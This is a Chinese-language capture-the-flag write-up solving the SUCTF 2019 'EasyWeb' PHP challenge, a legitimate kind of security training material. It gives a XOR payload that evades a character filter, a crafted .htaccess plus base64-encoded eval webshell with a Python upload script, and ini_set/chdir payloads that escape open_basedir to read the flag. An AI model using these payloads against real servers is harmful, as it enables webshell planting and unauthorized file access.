suctf 2019的web2
buuoj上的环境:https://buuoj.cn/challenges#[SUCTF%202019]EasyWeb

访问得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

这题分为两个部分,先是一个各种限制的代码执行,目的是调用get_the_flag()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

//第一个限制,长度不能超过18
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

//第二个限制,一个很变态的正则,字母数字都被禁了
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

//第三个限制,使用的字节值数目不能超过12个
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);

不想看正则的话可以简单的fuzz一下

1
2
3
4
5
6
7
<?php
for ($i = 0; $i < 256; $i++) {
if (!preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($i))) {
echo urlencode(chr($i)).' ';
}
}
?>

得到可以使用的特殊字符:

! # $ % ( ) * + - / : ; < > ? @ \ ] ^ { }

p神有一篇文章一些不包含数字和字母的webshell
里面讲了三种思路:

  • 异或
  • 取反
  • 自增

其中取反符号~直接被禁掉了,自增需要用到变量长度会很长,因此尝试使用异或
因为有长度的限制,所以可以去凑出类似

1
$_GET{x}();

然后传入x=get_the_flag调用该函数

用脚本去找出对应异或的值

1
2
3
4
5
6
7
8
9
10
11
12
import urllib.parse

find = ['G','E','T','_']
for i in range(1,256):
for j in range(1,256):
result = chr(i^j)
if(result in find):
a = i.to_bytes(1,byteorder='big')
b = j.to_bytes(1,byteorder='big')
a = urllib.parse.quote(a)
b = urllib.parse.quote(b)
print("%s:%s^%s"%(result,a,b))

最后凑出

1
?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag

成功调用get_the_flag函数
再来看get_the_flag()的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

可以看到是一个文件上传,和web1 CheckIn(https://liotree.github.io/2019/08/19/CheckIn/)的限制一样

  • 文件内容中不能出现<?
  • 使用了exif_imagetype来判断是不是图片
  • 后缀名中不允许出现ph

不过环境和web1不一样

  • web1是nginx的服务器,而且上传目录下有一个php文件,所以上窜.user.ini
  • web2是apache的服务器,应该上传.htaccess

还有两个要注意的点是:

  • .htaccess上传的时候不能用GIF89a等文件头去绕过exif_imagetype,因为这样虽然能上传成功,但.htaccess文件无法生效。这时有两个办法:
    1. 在.htaccess前添加
      1
      2
      #define width 1337
      #define height 1337
      #在.htaccess是注释符,所以.htaccess文件可以生效
    2. 在.htaccess前添加\x00\x00\x8a\x39\x8a\x39(要在十六进制编辑器中添加,或者使用python的bytes类型)
      \x00\x00\x8a\x39\x8a\x39 是wbmp文件的文件头
      .htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess
  • 这里的php是7.2的版本,无法使用
    1
    2
    <script language="php">
    </script>
    来绕过对<?的检测
    解决方法是将一句话进行base64编码,然后在.htaccess中利用php伪协议进行解码,比如:
    .htacess
    1
    2
    3
    4
    #define width 1337
    #define height 1337
    AddType application/x-httpd-php .abc
    php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/shell.abc"
    shell.abc
    1
    2
    GIF89a12
    PD9waHAgZXZhbCgkX0dFVFsnYyddKTs/Pg==
    这里GIF89a后面那个12是为了补足8个字节,满足base64编码的规则,使用其他的文件头也是可以的
    贴一个上传的脚本
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    import requests
    import base64

    htaccess = b"""
    #define width 1337
    #define height 1337
    AddType application/x-httpd-php .abc
    php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/shell.abc"
    """
    shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['a']);?>")
    url = "http://16855023-61d5-430f-bbef-53d0bca8f179.node1.buuoj.cn?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag"

    files = {'file':('.htaccess',htaccess,'image/jpeg')}
    data = {"upload":"Submit"}
    response = requests.post(url=url, data=data, files=files)
    print(response.text)

    files = {'file':('shell.abc',shell,'image/jpeg')}
    response = requests.post(url=url, data=data, files=files)
    print(response.text)
    访问?a=phpinfo(); 得到phpinfo
    这时会发现存在open_basedir和disable_functions的限制
    open_basedir:

    /var/www/html/:/tmp/

可以利用一个新的方法绕过open_basedir的限制
https://xz.aliyun.com/t/4720

最后访问

1
?a=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));

找到flag文件THis_Is_tHe_F14g
访问

1
?a=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g'));

拿到flag